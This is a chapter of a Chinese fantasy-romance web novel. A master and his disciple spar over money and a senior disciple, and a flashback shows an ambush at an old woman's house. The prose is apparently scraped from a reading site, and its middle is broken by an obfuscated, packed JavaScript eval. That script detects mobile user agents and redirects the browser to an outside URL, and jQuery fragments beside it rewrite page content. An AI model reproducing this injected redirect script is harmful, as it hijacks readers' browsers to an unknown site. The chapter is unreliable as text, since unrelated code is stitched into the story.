35. 设局

作品:《山海妖闻录

    回去的路上,赵灵均故意拖慢脚步,于是成渊也跟着放缓了步伐。


    赵灵均想要单独找人问话时似乎只会这一个手段。


    竹叶穿林,悉悉索索的声音不止,估计附近又藏了不少竹叶鬼。


    赵灵均见三人离远了一段,眸光一掠,不知是故意的还是想让人混淆眼底的情绪,语气同说闲话一般从容:


    “倾囊相助……我怎么记得初见师父之时师父身无分文,不食人间烟火,客栈的钱还需要我来付?”说着说着,赵灵均环抱双手,故意用肩膀碰了碰成渊,“治病得花不少钱吧,那师父的银子又是从哪来的?”


    原来是为了试探自己……


    成渊藏在袖口中的五指微微收紧,攥成一个拳头状,有些后悔方才停了下来,随后才慢慢松开,侧头靠近,深邃的眸中泛着些迷离:


    “那徒儿方才说——裴衡在房中等着。难道也是真的?”


    落葵比自己计划中回来得要快几日,关键是没想到裴母也会跟着一起来。她原先只打算让落葵去裴母家中确认清况,看看裴衡如今究竟受谁恩惠,好以理相劝,如今却多冒出来两个人……


    计划果然赶不上变化啊,以后还是少做计划了,反正事情通常不会随着计划进行。


    这是赵灵均离家这么久总结出来的、为数不多的处世之道。


    赵灵均微微低垂着视线,用食指挠了挠耳侧,想起自己疏忽的事来:


    “也对,还没来得及喊裴衡师兄呢,我这就去请。”


    说罢就要朝另一个方向走去。


    师兄……


    成渊低声喃喃着二字,冲动之下伸出手,一把拉住赵灵均的手腕,逼着她转过身来直视自己,将话题又扯回那个危险的领域,语中还透着一股漫不经心而又危险的随意:


    “若我说——当初是为了缠上徒儿才装作身无分文的样子,徒儿会信么?”


    赵灵均自己都懒得追究了,可不知成渊怎得,还揪着这个问题不放,嘴里嘟囔着:“小气鬼。”


    “你说什么?”成渊没听清,只听见“鬼”字,心中一紧。


    “我说,师父根本就是个小气鬼!”


    自从二人相熟相知后,赵灵均觉得自己忽然有胆气了许多,说话的声调越来越高,也越来越藏不住心中的想法。


    成渊一愣,将二人距离拉得更近了,头微微倾斜,目光粘在赵灵均脸上寸步不离,眉宇间笼罩着一层阴霾与忧虑,几种情绪混在一起,让人看不真切。


    “我是小气,可也是为了徒儿才变得如此,徒儿这么快就厌弃为师了么?”


    成渊显然一副话中有话的样子。赵灵均顿时慌了神,连忙摆摆手,悻悻开口:


    “师父……为了那几两银子倒也不必将话说得这么重吧……”


    哦……原来说的是银子啊。成渊长吁一口气。


    赵灵均见状尝试甩开成渊的手,可怎么也挣不脱,只好放弃,抬头拖着长长的语调说:


    “师父,你再不放开我,待会儿裴衡就该逃了。”


    成渊这才察觉自己的力道不知不觉间加重了不少,于是听话地松开双手,眼中的波澜也趋于平静,淡淡开口:


    “不必去了,我一早便派人喊过他了。”


    赵灵均的身形一顿,眼梢微微翘起,心底涌现一股暖意:


    “哦是吗?师父又与徒儿想到一处去了,我们还真是心有灵犀呀!”


    说罢,还伸出手安抚一般地拍了拍成渊的臂膀。


    心有灵犀……这个词成渊似乎很满意,肩膀微微沉了沉。


    可他一想到方才的措辞还是心有不甘,看着赵灵均一脸笑意,丝毫不觉得有何不妥,于是又伸出手,心怀惩戒之意地掐了掐赵灵均的脸颊。


    与其说是掐,不如说是揉。


    在天虞山的这段时日,赵灵均好像瘦了一些,脸颊间的软糯像咬了第一口的元宵,收瘦了一些……不免让成渊又有些后悔——


    自己练功时是不是对她太过严厉了?


    揉转时,苍白如纸的手指和柔软的脸颊间像快熟的车厘子一样,汇聚了些许红晕,但只要手一松开,红晕就很快消了下去。


    颇为……有趣,也颇为温润,让成渊甚至有些舍不得松开,想独存这份美好。


    因此想到裴衡,成渊压抑着心中的不满与焦灼,不知是在责怪还是在叮嘱:


    “你啊,以后出门在外注意言行举止。”


    “嗯?为何这么说?”赵灵均不明所以地稍稍歪头表示疑惑。


    “师兄也是能随意喊出口的吗?我何时多了一个徒弟?”成渊的语气有些急,因此一说出来便后悔了。


    “不是你让我喊的嘛!”赵灵均被成渊一通话弄得莫名其妙,想也没想便反驳出声。


    “我说裴衡。”


    哦,原来说的是裴衡啊。难怪成渊方才那样说话,一点都不像平日的他,差点以为成渊真的在乎她的几两金银……


    不过在乎也没关系,反正她有的是银子。


    赵灵均不去修道也不去考官,平日里除了研究奇闻怪谈之外也没闲着。近年来城中勾栏瓦舍兴起,百姓闲暇之余很爱去书场、茶馆听人说故事。


    赵灵均也是如此。


    可是有些剧本故事明明很俗套,却能靠说书人诙谐生动的表达大受欢迎,而有些故事曲折离奇,却因与现实离得太远,说书人不能将其生动地展现出来,便被埋没。


    于是赵灵均灵机一动,将那些在自己看来字字珠玑的话本子收集起来,印成书册,然后托给书肆进行贩卖。


    赵灵均对自己的眼光很有自信,这几年陆陆续续赚了不少,甚至还与其中的几位墨客签订了长期契约。


    本来自己离开的这段时日,这些事务是交由落葵打理的,可如今事出突然,赵灵均一封急信就将落葵喊了过来……


    也不知道上次看的那本书如今卖得怎样了……


    想到这,赵灵均的声音渐渐弱了下去,咬着口腔两侧贴着脸颊的软肉,嘴唇缩成了一个樱桃状,低头用手指无序地搅弄着裙摆,应道:


    “知道了……”


    成渊见赵灵均似乎有反省之意,这才肯善罢甘休。


    一行人穿过曲径,经过院落,避开人群来到成渊屋内。


    门一推开,只见裴衡眉间皱起,一脸焦急,孤身在房内踱步,一副着急离开的样子。


    可见到来者是自己的母亲,裴衡先是一惊,随后紧张和不安很快涌上心头,赶忙上前从落葵手中接过母亲,警惕地打量着另一旁陌生的面孔:


    “你是谁,我的母亲怎会与你们一道?”


    天虞山一向守备森严,如今马上便到了听泉祭礼,对于任何人员出入裴衡都了然于胸,可崔望津这张脸自己却从未见过,心中竖起十二分警惕来。


    “我若不出现,怕是你母亲的性命都难保。”崔望津盯着面前的裴衡,目光冷漠。


    崔望津暗中观察天虞山已久,裴衡此刻轻抿嘴唇的露怯和习惯性低下头的微小举动,在他看来都熟悉不已……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15005504|154791||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那双眼死气沉沉的,不带丝毫情绪,裴衡不敢再继续与崔望津对视,于是没有理会崔望津,转而关心母亲:


    “母亲,我不在的时候家中发生了什么?”


    此时先前落后一段距离的赵灵均与成渊恰好到达,一来便听见裴母讲述着昨日的遭遇,声音中还带着细颤,似乎还有些惊魂未定……


    自从裴衡当上大弟子后,就搬离了原先安居的市井,以养病为由为母亲在城郊一处僻静的地方安排了一片居处。


    这里人迹罕至,平日里只有些爱游玩打猎和羁旅之人涉足此地,裴母寡居久了,索性在门前立下一个用一半柴火制作的“牌坊”,请人在其上用树枝拼成“茶”字,以此示意路过的人可在此处暂时歇脚逗留。


    落葵下山后费了好一会儿功夫才打听到裴母的住处,于是假扮成上山寻柴火的村中闲姑,借此机会接近裴母,与其闲聊。


    裴母一人生活很是孤单,遇见如此能说会道的落葵,话匣子一下子就打开了,精神提振了不少,眼神渐由浑浊变得清透起来。


    “阿婆,看您精神这么好,一点都不像久病的样子啊。”落葵打趣道。


    其实屋内摆满了药罐,落葵抿了抿手中的茶杯杯沿,从茶水中似乎都能品出苦烈的草药味,尽管裴母性格仁善,但落葵在此处待了半日,除了自己,一个人都没有叩响过柴门。


    寻常人恐怕都被这满屋子的药味给熏跑了吧。落葵心中猜测。


    “若我儿有丫头你的闲心时不时来陪我说说话,说不定我这身残躯就不用喝药了哟!”随后裴母顿了顿,眼中渐渐覆上了一层水雾,“可惜啊,偏偏就因为我这副不中用的身体,才害得我儿如此辛苦……”


    见裴母沉湎于悲伤之中,落葵抚着裴母后背,好意安慰道:“阿婆别这么想,您的儿子一定十分孝顺才替您寻了这么多药,这里的许多药材我连见都没见过呢……”


    谁知这话一下子使得裴母更加触动,布满岁月的手握紧落葵的手臂,央求道:“丫头,能不能麻烦你带我去寻我儿一趟……”


    落葵忽然将食指竖起放在嘴唇前,示意裴母噤声。裴母很快便停下了,迟缓地朝着落葵的目光寻去——


    此时日暮西沉,这里虽说隐蔽,但若有心也能寻到。只是老人家寻常低调得很,为人又和善,屋中全是药物没什么金银财宝,这么久了也没人会来打家劫舍这样一个草间。


    莫非……是冲着自己来的?


    落葵很快冷静下来,闭目凝神,侧耳倾听风声的来向——


    忽然,一个飞镖撕裂空气袭来,落葵扔起手中的茶杯随后翻身躲开,谁知刃尖锐利,茶杯一下便被一分为二,飞镖牢牢地钉在了落葵刚才落座的地方……


    什么人还惯用暗器?难道是故意对自己露出破绽的么……


    落葵很快反应过来,从怀中掏出符咒,手指轻点展开阵法——


    只见阵气轻吐,如流水般蔓延开来,所经之处万籁俱寂,连风声都变得低沉……


    落葵收回符咒,眼中闪过一丝不安——


    奇怪……飞镖袭来的速度如此快,偷袭之人竟然不在附近吗?


    “咚咚咚——”这时,柴门被叩响。落葵示意裴母呆在原地,自己上前靠近柴门,顺手将飞镖带下收入袖中。


    一开门,抬眼只见一个黑衣男子站在门外。


    崔望津发现是年轻女子开门,眼底闪过一丝意外,神情却依旧淡漠,语速快得透出几分焦急:


    “附近有歹人,你们二位快随我来!”